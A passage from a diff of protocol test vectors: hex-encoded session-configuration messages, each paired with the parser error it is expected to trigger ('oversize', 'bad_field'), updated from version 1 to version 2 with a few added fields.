d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000a21b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b226361706162696c6974792d3030302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3030392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3031392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3032392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3033392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3034392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3035392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3036392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037302d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037312d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037322d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037332d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037342d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037352d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037362d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037372d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037382d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878222c226361706162696c6974792d3037392d7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "oversize" }, { "name": "conversations-boot-ids-differ-across-items", "direction": "down", - "hex": "574d583101010000010000007e0b00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000e70b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303032222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303032222c22626f6f744964223a2237373737373737372d373737372d343737372d383737372d373737373737373737373737222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303032222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-extra-key-in-item", "direction": "down", - "hex": "574d58310101000001000000430600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d2c226578747261223a317d5d7d", + "hex": "574d58310101000001000000800600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d